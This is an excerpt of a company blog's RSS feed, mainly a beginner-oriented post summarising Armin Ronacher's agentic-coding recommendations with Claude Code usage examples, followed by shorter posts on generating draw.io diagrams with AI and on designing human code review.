&lt;p&gt;A few days ago I came across Armin Ronacher&amp;rsquo;s blog post &lt;a href=&#34;https://lucumr.pocoo.org/2025/6/12/agentic-coding/&#34;&gt;&amp;ldquo;Agentic Coding Recommendations&amp;rdquo;&lt;/a&gt; on the developer community &lt;a href=&#34;https://news.hada.io/topic?id=21435&#34;&gt;Geek News&lt;/a&gt;, and it left quite an impression on me. Armin is best known as the creator of the Flask web framework, and his insights on vibe coding line up closely with the direction Roboco is heading. In this post I want to unpack the core ideas in Armin&amp;rsquo;s article in an accessible way, for people just getting started with vibe coding through tools like Claude Code, Cursor, and Windsurf.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<blockquote>
<p>This post is based on Armin Ronacher&rsquo;s blog article <a href="https://lucumr.pocoo.org/2025/6/12/agentic-coding/">&ldquo;Agentic Coding Recommendations&rdquo;</a>.</p>
</blockquote>
<h2 id="foreword">Foreword</h2>
<p>A few days ago I came across Armin Ronacher&rsquo;s blog post <a href="https://lucumr.pocoo.org/2025/6/12/agentic-coding/">&ldquo;Agentic Coding Recommendations&rdquo;</a> on the developer community <a href="https://news.hada.io/topic?id=21435">Geek News</a>, and it left quite an impression on me. Armin is best known as the creator of the Flask web framework, and his insights on vibe coding line up closely with the direction Roboco is heading. In this post I want to unpack the core ideas in Armin&rsquo;s article in an accessible way, for people just getting started with vibe coding through tools like Claude Code, Cursor, and Windsurf.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Agentic coding is a way of working in which you hand a goal to an AI agent and the developer reviews the results and the overall direction.</li>
<li>Simple languages, fast tools, clear logs, and conservative dependency management all reduce the agent&rsquo;s mistakes.</li>
<li>The more code AI writes, the more deliberately developers have to think about simplicity, stability, and the right moment to refactor.</li>
</ul>
<h2 id="what-is-agentic-coding">What Is Agentic Coding?</h2>
<p>Agentic coding, as Armin uses the term, is a development approach in which much of the coding work is delegated to an AI agent. An agent here means an autonomous program that takes instructions from a developer and carries out work on its own. In this context it refers to an AI program that assists with coding work the way a person would, handling development tasks such as editing files, running commands, and searching the web the way an agent (a delegate) would.</p>
<p>It goes a step beyond typical AI coding assistants (GitHub Copilot autocompletion, code generation with ChatGPT, and so on): you assign the agent a single task goal, and the agent works out and performs the sequence of steps needed to reach it.</p>
<p>Agentic coding was the leading term for AI-driven development until Andrej Karpathy proposed the term vibe coding, and it is still widely used alongside it. Out of respect for the original author&rsquo;s intent, this article uses agentic coding consistently rather than vibe coding.</p>
<p>Put simply: a human developer gives a natural-language instruction like &ldquo;fix the bug in project X,&rdquo; and the agent takes it from there, understanding the codebase, modifying the code, and running tests to produce a result. What characterizes the process is that the developer does not intervene at each individual step, but waits until the result comes back.</p>
<p>In this approach, the role of the IDE (integrated development environment) we have relied on shrinks considerably too. In Armin&rsquo;s case, the agent handles most of the coding, so he only does the finishing touches in a text editor (something like Vim). That is the extent to which the agent takes the lead in the coding process under agentic coding.</p>
<p>So why do we need agentic coding? First, because used well, it can dramatically increase development productivity. If an agent takes over the repetitive work that eats up a developer&rsquo;s time (refactoring code, making changes across multiple files, getting up to speed on long documents or codebases), the developer can focus on more creative and more important problems. Armin himself stresses that &ldquo;integrating agents into the development process yields significant productivity gains.&rdquo; This approach is also a way to bring the latest potential of rapidly advancing AI technology into development work.</p>
<p>Finally, agentic coding is not just about &ldquo;writing code faster.&rdquo; Ultimately, the goal is to write better-quality code and improve maintainability and stability. Armin notes that AI code output, which was poor just a few months ago, has improved considerably, and says it will keep advancing. So if you make good use of tools like Claude Code, which we&rsquo;ll look at later in this article, even a beginning developer can gradually grow into &ldquo;a developer who collaborates with AI agents.&rdquo;</p>
<h2 id="armins-core-principles-for-agentic-coding">Armin&rsquo;s Core Principles for Agentic Coding</h2>
<p>In his article, Armin Ronacher offers a number of pieces of advice for using agentic coding effectively. I&rsquo;ll walk through his main recommendations one by one, in a way that readers with only basic programming knowledge can follow:</p>
<ol>
<li>
<p>Choose a simple, stable language: If you get to choose the language the agent will work in, Armin recommends picking one that is as simple as possible. He strongly recommended Go for new backend projects, and his reasoning is clear. Go has simple, predictable syntax, which leaves less room for the agent (the LLM) to make mistakes, and running tests works automatically in one shot. In Go, for instance, the <code>go test</code> command runs all the tests you need at once. The agent doesn&rsquo;t get confused about which tests to select. The Go ecosystem also changes slowly and has good backward compatibility, so there&rsquo;s less risk of the AI generating outdated example code. By contrast, a dynamic language full of magic like Python makes it easy for the agent to misread hidden behavior or to stumble through trial and error because of runtime environment issues. So the simpler the language itself and the less its environment shifts, the more reliably the agent can handle the code.</p>
</li>
<li>
<p>Set up agent-friendly development tools: How you arrange your development tooling matters just as much as the language. Armin&rsquo;s advice is that &ldquo;your tools can be anything, but they must be fast and behave clearly.&rdquo; The agent will be running bash commands, build tools, test runners, and the like in your environment, so you should avoid tools that respond slowly or produce needlessly verbose output. Armin, for example, uses a Makefile in his projects to collect the commands he uses often: <code>make dev</code> to bring up the development server, <code>make tail-log</code> to view the logs. What matters is that when the agent uses these tools and something goes wrong, it is told immediately (logging), and that there are safeguards such as preventing duplicate execution. As a concrete example, Armin modified his process management tool so that if the server is already running, it cannot be started a second time, and instead clearly prints an &ldquo;already running&rdquo; error. That let the agent determine, when it ran <code>make dev</code>, whether the server was already up, and move straight on to the next step of examining the logs.</p>
</li>
</ol>
<p>Armin also repeatedly stresses using logging itself as a core tool of agentic coding. For example, if instead of actually sending a verification email at sign-up you print the email content to the console log in development mode, the agent can read that log, find the verification link automatically, and click it. Armin put a note in his CLAUDE.md configuration file saying &ldquo;in debug mode, emails are printed to the log,&rdquo; and the Claude agent used that to complete the whole flow from sign-up through verification by itself. Clear logs and helpful tool output act as the agent&rsquo;s eyes and ears. Just as we look at the console or the logs to understand a problem while developing, the agent uses logs to understand the situation and decide what to do next.</p>
<ol start="3">
<li>
<p>Optimize for speed and efficiency: The bottleneck in agentic coding comes mainly from AI model inference cost and inefficient tool usage. So it&rsquo;s important to speed up responses and cut wasted tokens. As mentioned above, fast-executing tools are the baseline, and beyond that, the code the agent writes and runs on the fly (&ldquo;emergent tools&rdquo;) should be kept as lightweight as possible. Say the agent writes and runs a throwaway Python script for some task. If that script takes five seconds to run and burns another minute on initialization each time, the whole flow slows down dramatically. Armin describes how, on a real production project (Sentry), the agent was taking too long to reload code, so he built a temporary daemon that &ldquo;watches for file changes, imports the module automatically, and writes the result to the log&rdquo; for the agent to use. It let the agent inject code quickly and just check the execution result, without a complicated restart. Tuning your environment with creative approaches like this, to give feedback as close to real time as possible, raises the agent&rsquo;s efficiency. He also advises that logs that are too verbose eat tokens and slow things down, so it&rsquo;s best to tune them to an appropriate level that carries only the important information.</p>
</li>
<li>
<p>Stability and the principle of least surprise: Armin repeatedly comes back to the value of a &ldquo;stable ecosystem.&rdquo; When AI works on a codebase, it makes far fewer mistakes in an environment with little external churn. LLM agents like long-proven stacks such as Go or Flask, for example. Conversely, in an environment like the JavaScript ecosystem, where dependencies shift constantly and new versions and libraries pour out every day, there&rsquo;s a high risk of the AI generating wrong code based on what was correct a few days ago. Agents also tend to leave their own breadcrumbs, such as comments recording why they made a particular decision while writing code. If we thoughtlessly bump a dependency to its latest version, those comments and code patterns quickly become stale and can muddy the AI&rsquo;s chain of reasoning. This applies to people too, but you have to be especially careful with AI, since it can casually attempt an upgrade on the assumption that &ldquo;it&rsquo;ll be fine as long as the tests pass, right?&rdquo; Armin&rsquo;s advice in a nutshell: &ldquo;upgrade more conservatively than you did before.&rdquo; He also says it&rsquo;s better to use fewer new libraries and implement things directly in code where possible. Since the agent can whip up code quickly anyway, the idea is to write the functionality you need yourself instead of pulling in complex dependencies, and thereby maintain consistency and predictability. Armin had in fact previously written an article titled &ldquo;why you should write your own code,&rdquo; and he says doing agentic coding has only strengthened that conviction.</p>
</li>
<li>
<p>Keep code as simple as possible: &ldquo;Complex code doesn&rsquo;t perform well in an agentic environment. Pick the dumbest-looking solution that works&rdquo; is a line Armin emphasizes. When an agent works with code, clarity comes first. So developers should aim for a more direct, simpler code style than usual. For example, several functions with long, specific names are easier to understand than complex class inheritance. Overusing highly abstract patterns or magic (magic numbers, reflection, and so on) makes it easy for the AI to lose the thread. Armin goes as far as advising you to &ldquo;write plain SQL queries directly.&rdquo; Rather than handling the database indirectly through an ORM, having the agent write SQL makes it easier for the AI to line up the SQL output in the logs against its own code and debug. Important logic such as permission checks should also be kept as close to the relevant code as possible. If permission checks are hidden away in a configuration file or a decorator, there&rsquo;s a risk the agent will miss them when adding new functionality and open a security hole. In the end, &ldquo;simple, clear, consistent code&rdquo; is good code for both agents and humans.</p>
</li>
<li>
<p>Keep parallelization in mind: A single agent isn&rsquo;t all that fast, but running several at once lets you parallelize the work and raise efficiency. If you need to fix lint errors across hundreds of files at once, for example, rather than having one agent work through them in sequence, you assign several agents a subset of the files each. To do that, you have to structure the project so that contention over shared resources (the filesystem, the database, and so on) is minimized. It isn&rsquo;t easy, but Armin points to early attempts that are emerging, such as isolation tooling using Docker and running background agents in CI (continuous integration) environments. He hasn&rsquo;t fully adopted it in his own workflow yet, but he expects this to be a rapidly advancing area, so it may well become practical before long.</p>
</li>
<li>
<p>Refactor at the right time: In an agentic coding environment, the timing of refactoring matters. Up to a certain point, an agent handles code of moderate complexity without trouble. But once a project&rsquo;s size and complexity cross a threshold, the agent&rsquo;s ability to hold context hits its limits too. Armin gives an example: &ldquo;early on you can develop quickly with the agent, scattering Tailwind CSS classes all over the frontend, but once your styles are spread across 50 files, it&rsquo;s time to restructure into a component library.&rdquo; Once a codebase gets that sprawling, even the agent struggles to make consistent changes, and large edits can spawn a stream of bugs. So while there&rsquo;s no need to refactor so early that you kill your initial velocity, put it off too long and you reach a point where even the agent can&rsquo;t clean up the mess. Whether human or AI, tidying up the code structure at the right moment is essential to maintainability. In agentic coding, the agent adds new functions and files effortlessly, so at some point the developer has to step in and do a big cleanup, consolidating duplicated code and modularizing, to make future work go smoothly.</p>
</li>
</ol>
<p>These principles are the part Armin emphasizes as &ldquo;essential concepts that will hold up even as the technology changes.&rdquo; The actual tools and techniques will evolve quickly, but principles like simplicity, stability, observability (logging and so on), and smart parallelization will continue to determine success or failure in agentic coding. Our team at Roboco strongly agrees with these insights, and we believe that for a healthy culture of coding with AI to take root, these fundamental principles of software engineering will only become more important.</p>
<h2 id="practical-examples-with-claude-code">Practical Examples with Claude Code</h2>
<p>Now let&rsquo;s look at how the agentic coding described above actually works in practice, using Anthropic&rsquo;s Claude Code. Claude Code is the command-line AI coding agent Armin primarily uses; you run it from a project directory with a terminal command (<code>claude</code>). The agent understands the codebase, edits files, and can run test or build commands directly. It also integrates with Git, making it a powerful tool that can help with searching git history, committing, and even creating PRs. Below are a few situational examples using Claude Code.</p>
<h3 id="example-refactoring-code">Example: Refactoring Code</h3>
<p>Say, for example, that we want to improve the performance of a function called <code>processData()</code>. Normally the developer would open that function, modify the logic, and verify the behavior of the related parts. With Claude Code, much of this refactoring work can be automated. The developer simply gives an instruction in natural language.</p>
<pre tabindex="0"><code>Refactor the processData() function so that it uses streaming instead of loading all the data at once.
</code></pre><p>Once you enter the prompt, the Claude Code agent opens the file containing the <code>processData</code> function on its own and starts modifying the code. For example, it will change the part that loaded all the data into memory at once to a streaming approach, and if necessary it will also modify the signatures of related functions. After making the changes, Claude Code automatically runs the project&rsquo;s tests to check that the refactoring didn&rsquo;t break existing functionality. If a test fails, the agent may analyze the cause and make further changes to the code. Once all tests pass, Claude Code will show the developer a summary such as &ldquo;refactoring complete, memory usage is substantially lower, and all existing tests pass.&rdquo; The developer reviews this diff and, if satisfied, can commit right away.</p>
<h3 id="example-summarizing-documents">Example: Summarizing Documents</h3>
<p>Agents are useful not just for coding but also for understanding and summarizing documents. Suppose a new developer has joined the project. When they need to get up to speed quickly on a design document called ARCHITECTURE.md, they can ask Claude Code for a summary.</p>
<pre tabindex="0"><code>Summarize the contents of docs/ARCHITECTURE.md in three lines
</code></pre><p>Claude Code reads the markdown document, pulls out the key points, and summarizes them. For example, it might output something like the following.</p>
<pre tabindex="0"><code>- This project is built on a client-server architecture, with the server providing a REST API.
- It includes modules for user authentication and permission management, with feature access restricted by role.
- For scalability, a message queue and a cache were introduced so the system can handle growing traffic in the future.
</code></pre><p>With these summarized points, the newly arrived developer can understand the system&rsquo;s structure in a short time. In this way, Claude Code can be used to answer questions or summarize by grasping the context not only of the project&rsquo;s code but of related documents as well. You can also use it as a code Q&amp;A assistant, asking where a particular feature is implemented in a large codebase or what various configuration files do.</p>
<h3 id="example-generating-a-function">Example: Generating a Function</h3>
<p>This time, a code generation scenario for adding new functionality. Suppose we need logic that checks permissions before a user account is deleted. If we want to add a function called <code>checkPermissionBeforeDelete()</code> for this, we can ask Claude Code to write it.</p>
<pre tabindex="0"><code>Create a checkPermissionBeforeDelete(user) function that raises an error if the user does not have delete permission
</code></pre><p>Given this instruction, Claude Code will scan the project&rsquo;s code to work out what permission system it uses. Then it writes the new function in an appropriate location (in the <code>user_utils.py</code> file, say). The body of the function will contain logic that takes a user object or ID, checks whether that user has delete permission, and raises an exception if not. Claude Code generates the function while respecting the project&rsquo;s coding conventions (if the project is Django it might use a decorator, or it might be a simple if-check). Once it&rsquo;s done writing, it may run a simple test itself, or suggest whether existing test code needs a section that uses this function. In the end the developer reviews the completed function code and the agent&rsquo;s explanation, makes small tweaks or adds comments if needed, and saves. This is how implementing new functionality can also move quickly through conversation with the agent.</p>
<h2 id="using-claude-code-with-git">Using Claude Code with Git</h2>
<p>Claude Code is also tightly integrated with Git. It helps with version control work too. Let&rsquo;s look at a simple scenario to see how you can use it.</p>
<h3 id="example-scenario-saving-and-sharing-code-after-fixing-a-bug">Example Scenario: Saving and Sharing Code After Fixing a Bug</h3>
<ol>
<li>
<p>Understanding the bug: There&rsquo;s a bug reported as a GitHub issue. The developer instructs Claude Code, <em>&ldquo;fix the bug described in issue #37.&rdquo;</em> The agent reads the issue content using the GitHub CLI (<code>gh</code>), or refers to a locally saved issue description, to understand what the problem is. Then it finds the cause of the bug in the codebase and fixes it. If the bug was caused by a missing null check, for instance, it adds a conditional. After making the fix, Claude Code also runs the relevant tests (running CI tests via the gh CLI, for example) to confirm the bug is resolved.</p>
</li>
<li>
<p>Reviewing the code changes: Once the bug is fixed, Claude Code will report something like <em>&ldquo;I added a null check to the function that was causing the problem, and all tests now pass.&rdquo;</em> The developer reviews the code change (diff) Claude Code proposes. If needed, they can give Claude Code further instructions such as <em>&ldquo;add a few more comments&rdquo;</em> or <em>&ldquo;give this variable a more meaningful name.&rdquo;</em> The agent will revise the code according to the request.</p>
</li>
<li>
<p>Committing and pushing: Once you&rsquo;re happy with the result, it&rsquo;s time to make a Git commit. An appropriate commit message is generated automatically to match the changes.</p>
</li>
</ol>
<p>For example, the agent could run the <code>git commit</code> command to commit the current changes with the message &lsquo;Fix null pointer bug in processData function&rsquo;. Likewise, the <code>git push</code> command can be run through the agent. In other words, the agent assists you in a single continuous flow, from code changes all the way through commit and push.</p>
<ol start="4">
<li>Creating a pull request: To get the code into GitHub, you need to create a PR (pull request). Since Claude Code can use the GitHub CLI (<code>gh</code>), if you instruct it as follows:</li>
</ol>
<pre tabindex="0"><code>Create a PR to merge the bugfix branch into the main branch.
</code></pre><p>the agent will invoke commands such as <code>gh pr create</code> on its own and create a PR for the current bugfix branch with a suitable title and body. It can go on to link the issue number in the PR description or write a summary of the changes. As a result, the developer can create a PR entirely from the terminal in natural language, without opening the web interface and clicking through it.</p>
<p>This kind of Git integration is useful for team collaboration as well. For example, when a merge conflict occurs, you can hand the resolution to Claude Code. If you say <em>&ldquo;fix the conflicts that were generated automatically,&rdquo;</em> the agent finds the conflict markers (<code>&lt;&lt;&lt;&lt;</code>, <code>====</code>, <code>&gt;&gt;&gt;&gt;</code>) and attempts to merge them in the most plausible way. When it&rsquo;s done, it will tell you <em>&ldquo;I resolved the conflicts, and the code compiles correctly.&rdquo;</em></p>
<p>And on a large project where several developers work simultaneously, you can use agents in parallel to handle multiple issues at once, having each commit to its own branch. For instance, one agent develops feature A while another fixes bug B, and the two results are then put up as separate PRs for code review. In this way, combining Claude Code with Git automates a substantial part of the development cycle that runs from coding to testing to committing to PR.</p>
<p>(As a note, when you first use Claude Code, it will sometimes ask about commands that involve significant system changes, as a safeguard. For actions such as deleting files or making large commits, it asks for the user&rsquo;s permission; advanced users like Armin sometimes skip the process of approving each one with the <code>--dangerously-skip-permissions</code> option. But if you&rsquo;re a beginner, I&rsquo;d recommend leaving the defaults in place and proceeding while watching every action the agent takes.)</p>
<h2 id="wrapping-up-practical-advice-for-beginning-developers">Wrapping Up: Practical Advice for Beginning Developers</h2>
<p>The world of agentic coding and Claude Code can feel somewhat unfamiliar and complicated at first. But approached step by step, it&rsquo;s a tool that beginning developers can absolutely make use of, and one that can be a great help to learning and growth. Let me close by pulling together some practical advice for beginners looking to build up their agentic coding skills with Claude Code.</p>
<ul>
<li>
<ol>
<li>Start small: At first, rather than handing Claude Code an entire complex project, try it on small units of work. Requests like &ldquo;add comments to this function&rdquo; or &ldquo;write a simple unit test&rdquo; are a good place to start. Experience some successes and failures this way, and get a feel for the agent&rsquo;s capabilities and limits.</li>
</ol>
</li>
<li>
<ol start="2">
<li>Always review the results: No matter how smart Claude Code is, a step where a human developer reviews the generated code and changes is essential. Agents can occasionally make an off-target change or leave a small bug, so even as a beginner, get into the habit of reading the output carefully and running additional tests. If you treat the agent&rsquo;s code the way you&rsquo;d review a senior developer&rsquo;s code, you can turn it into an opportunity to spot mistakes and learn.</li>
</ol>
</li>
<li>
<ol start="3">
<li>Experiment and tune: Use configuration files like the CLAUDE.md mentioned earlier, along with your project&rsquo;s Makefile and script tooling, to tune the environment so the agent works better. For example, if you write down frequently used commands in CLAUDE.md, or record the project&rsquo;s rules (coding style, branching strategy, and so on), Claude Code can remember and follow them. These environmental improvements also directly improve your own working efficiency, so you get two benefits for the price of one.</li>
</ol>
</li>
<li>
<ol start="4">
<li>Don&rsquo;t miss the latest developments: As Armin emphasizes, this field is changing very fast. Claude Code itself is continually updated, and comparable alternative tools (OpenAI Codex, Cursor, and so on) are updated quickly too. Even as a beginning developer, it helps a great deal to make time to check relevant news and communities and to keep up with new features and best practices. If you hear that a parallel-agent feature has been added to Claude Code, for instance, try it out right away and build up your experience.</li>
</ol>
</li>
<li>
<ol start="5">
<li>Fundamentals matter: Finally, keep in mind that agentic coding is not a cure-all. AI helps with a lot, but that&rsquo;s no reason to neglect studying the basic principles of programming, data structures, and algorithms. If anything, the more solid that knowledge is, the better you can direct the agent. Which problem needs solving and what direction a change should take ultimately require the developer&rsquo;s judgment, and that judgment is what lets you give the agent the right instructions. Having the fundamentals also lets you analyze what the agent produces and judge whether it&rsquo;s right or wrong.</li>
</ol>
</li>
</ul>
<p>As Armin Ronacher&rsquo;s account shows, coding in collaboration with AI agents is less a replacement for the developer&rsquo;s role than a tool that amplifies it. Beginning developers have no reason to feel intimidated: install Claude Code yourself and try it, even on a small project. It feels a little awkward at first, but try thinking of the agent as another teammate or a pair programmer and keep the conversation going. Before you know it, the repetitive work is being handled smoothly, and you&rsquo;ll find yourself focusing on the bigger picture and growing.</p>
<p>Finally, I&rsquo;d encourage you not to be afraid and to learn adaptively. Armin himself says that &ldquo;today&rsquo;s workflow may be completely different tomorrow,&rdquo; but he also said the core principles will hold. Keep principles like simplicity, stability, and visibility close, and enjoy this new era of development. Welcome to the world of agentic coding, where AI and people join forces to write better code, and happy vibe coding!</p>
<blockquote>
<p>Armin Ronacher&rsquo;s YouTube live coding video
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/sQYXZCUvpIc?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>
</p>
</blockquote>
]]></content>
        </item>
        
        <item>
            <title>Drawing Architecture Diagrams with AI</title>
            <link>https://roboco.io/en/posts/how-to-draw-diagram/</link>
            <pubDate>Sat, 14 Jun 2025 12:35:06 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/how-to-draw-diagram/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;When people do vibe coding, they often assume the code alone is enough. Reality says otherwise. Code without documentation is like setting off on a trip without a map. If nobody knows where the destination is or what the route looks like, nobody will come along. Documentation matters especially in vibe coding because code isn&amp;rsquo;t merely there to run — it exists to convey your ideas and design intent accurately to other people. Documentation smooths collaboration, clarifies where a project is headed, and ultimately forms the foundation of a sustainable development environment.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>When people do vibe coding, they often assume the code alone is enough. Reality says otherwise. Code without documentation is like setting off on a trip without a map. If nobody knows where the destination is or what the route looks like, nobody will come along. Documentation matters especially in vibe coding because code isn&rsquo;t merely there to run — it exists to convey your ideas and design intent accurately to other people. Documentation smooths collaboration, clarifies where a project is headed, and ultimately forms the foundation of a sustainable development environment.</p>
<p>I strongly recommend managing documentation alongside your code. Markdown and mermaid in particular let you produce simple, clear diagrams quickly. A single diagram can capture complex structures and flows that would otherwise take paragraphs of prose, which makes communication far more effective.</p>
<p>Of course, mermaid alone sometimes falls short. When you need something more refined and complex, you can turn to draw.io. Because draw.io uses the XML-based .drawio file format, it&rsquo;s relatively easy to instruct an AI to generate diagrams directly in that format. The catch is that the IDs for specific icons — AWS icons, for instance — aren&rsquo;t published, so an AI can&rsquo;t readily use them.</p>
<p>So I extracted the IDs of the AWS architecture icons straight from the draw.io client and <a href="https://github.com/Hands-On-Vibe-Coding/ecs-fargate-fast-scaleout/blob/main/docs/aws-2025-icons-drawio.md">documented them</a> separately. That way I can hand the icon IDs to an AI and have it use exactly the icons I want. You can see the document in action, applied to a real project, in the GitHub repository below.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>In vibe coding, documentation isn&rsquo;t optional — it&rsquo;s the core work of sharing design intent and the context needed for collaboration.</li>
<li>Markdown and mermaid are enough for simple structures, but for more refined architecture diagrams you can generate draw.io files together with an AI.</li>
<li>Supplying the fine-grained details an AI can&rsquo;t be expected to know — such as AWS icon IDs — as a separate document lets you produce the diagram you actually want, far more accurately.</li>
</ul>
<p><a href="https://github.com/Hands-On-Vibe-Coding/ecs-fargate-fast-scaleout/">ECS - Fargate Fast Scaleout</a></p>
<p>Once a diagram has been generated this way, VS Code&rsquo;s drawio extensions make it easy to preview and edit. Installing the draw.io client also gives you a bundled CLI tool that converts diagrams to SVG or PNG so you can drop them straight into your documents.</p>
<p><img src="https://raw.githubusercontent.com/Hands-On-Vibe-Coding/ecs-fargate-fast-scaleout/abbb4dee4d89070692fc4edc0e81a313c910c52b/docs/diagrams/architecture.svg" alt="alt text"></p>
<p>Meanwhile, recent versions of mermaid have started supporting a range of architecture icons out of the box, AWS icons included. The <a href="https://mermaid.js.org/syntax/architecture.html">official documentation</a> will get you going right away. GitHub doesn&rsquo;t support this newer feature yet, though, so the approach I described above will remain the most practical option for the time being.</p>
<p>Good documentation goes beyond being a manual: it raises the quality of collaboration and sustains a project&rsquo;s value over the long run. In vibe coding, documentation is not a choice — it&rsquo;s a requirement.</p>
]]></content>
        </item>
        
        <item>
            <title>A Review Strategy for Vibe Coding</title>
            <link>https://roboco.io/en/posts/vibe-coding-review-strategy/</link>
            <pubDate>Sat, 07 Jun 2025 12:21:04 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-review-strategy/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;It is true that adopting vibe coding automates several areas of development and raises productivity. But review is something people have to do, because people are the ones accountable for the outcome — and so the bottleneck ends up moving to review (document review, plan review, code review, and so on). Today I want to talk about review.&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vibe coding speeds up generation, but if code, document, and plan reviews stay the same, the bottleneck simply shifts to the review stage.&lt;/li&gt;
&lt;li&gt;To raise review quality, make approval accountability explicit, and use checklists and risk flags so that reviewers judge actively rather than passively.&lt;/li&gt;
&lt;li&gt;The more automation grows, the more deliberately human review has to be designed — you need a structure that attaches meaning and accountability even to small actions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&amp;rsquo;s start with code review.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>It is true that adopting vibe coding automates several areas of development and raises productivity. But review is something people have to do, because people are the ones accountable for the outcome — and so the bottleneck ends up moving to review (document review, plan review, code review, and so on). Today I want to talk about review.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Vibe coding speeds up generation, but if code, document, and plan reviews stay the same, the bottleneck simply shifts to the review stage.</li>
<li>To raise review quality, make approval accountability explicit, and use checklists and risk flags so that reviewers judge actively rather than passively.</li>
<li>The more automation grows, the more deliberately human review has to be designed — you need a structure that attaches meaning and accountability even to small actions.</li>
</ul>
<p>Let&rsquo;s start with code review.</p>
<p>Bottlenecks in code review usually appear because reviewers feel less accountable, or because they passively click a button. To improve this, it helps to establish a clear rule that &ldquo;pressing the approve button means you share responsibility for the quality of this code.&rdquo; Having reviewers explicitly confirm a pledge such as &ldquo;I have verified both the quality and the safety of this code&rdquo; before approving noticeably raises their sense of psychological accountability.</p>
<p>Organizing review items into a checklist so reviewers examine them thoroughly is also effective. Checking performance, security, code style, and so on item by item in a code review lets you review systematically without missing anything. In fact, limiting a single review to 400 lines of code or fewer and using a checklist is said to raise defect detection rates significantly. Many companies are already getting results from this approach.</p>
<p>It also helps to highlight risk or importance to developers when presenting a review. Adding a note such as &ldquo;this change touches the payment system, so please look at it very carefully&rdquo; keeps reviewers from skimming past it and gets them to approach it more responsibly. Sharing real incidents that led to problems because they slipped through review also makes reviewers feel how important their role is, so they pay closer attention.</p>
<p>A culture of social comparison and recognition works well too. Naming a &ldquo;most active reviewer,&rdquo; or holding small events that praise and reward cases where a review caught a defect, has an effect. If you turn review activity into something game-like, collaborative, and enjoyable, developers come to see the review work itself as a process of achievement.</p>
<p>The same goes for document review. When developers work through a checklist covering technical scenarios, performance concerns, error-handling scenarios, and the like, the quality of the review goes up. Setting a baseline rule before the review starts — something like &ldquo;let&rsquo;s find at least one improvement in this document&rdquo; — also gets developers to offer opinions actively during the review. Handing out a short questionnaire so developers read the document in advance and come prepared is another good approach.</p>
<p>In plan review, what matters is that developers supply a realistic perspective. When the plan is overly optimistic, it works well to prompt developers to surface realistic risk factors by asking questions such as &ldquo;what is the worst-case scenario?&rdquo; Sharing feedback on how review comments were actually reflected in the project afterward is another important element. Once people see how the outcome of a review played out in reality, they take the next review more seriously.</p>
<p>In the end, review comes down entirely to accountability and engagement. In the age of vibe coding, the more automation grows, the more important accountable human review becomes. So if you make good use of human behavioral psychology when designing your review process, you can raise review quality and productivity naturally. What matters is giving meaning to even a single small action and making people feel accountable for it. Do that, and you will not only ease the review bottleneck but also improve quality.</p>
]]></content>
        </item>
        
        <item>
            <title>Vibe Coding and the XY Problem</title>
            <link>https://roboco.io/en/posts/vibe-coding-and-xyproblem/</link>
            <pubDate>Fri, 06 Jun 2025 09:56:25 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-and-xyproblem/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Have you ever heard of the XY Problem? Put simply, it&amp;rsquo;s the phenomenon of leaving the real problem (X) untouched while fixating on a solution (Y) you&amp;rsquo;ve arbitrarily assumed. Here&amp;rsquo;s an example. Your car won&amp;rsquo;t start, and without properly checking anything, you jump to the conclusion that it&amp;rsquo;s the battery and ask, &amp;ldquo;How do I hook up the jumper cables?&amp;rdquo; The real problem is that the car won&amp;rsquo;t start, and while you have no idea whether it&amp;rsquo;s the battery, whether you&amp;rsquo;re out of fuel, or whether it&amp;rsquo;s the electrical system, you&amp;rsquo;re floundering around clinging to Y (connecting jumper cables).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

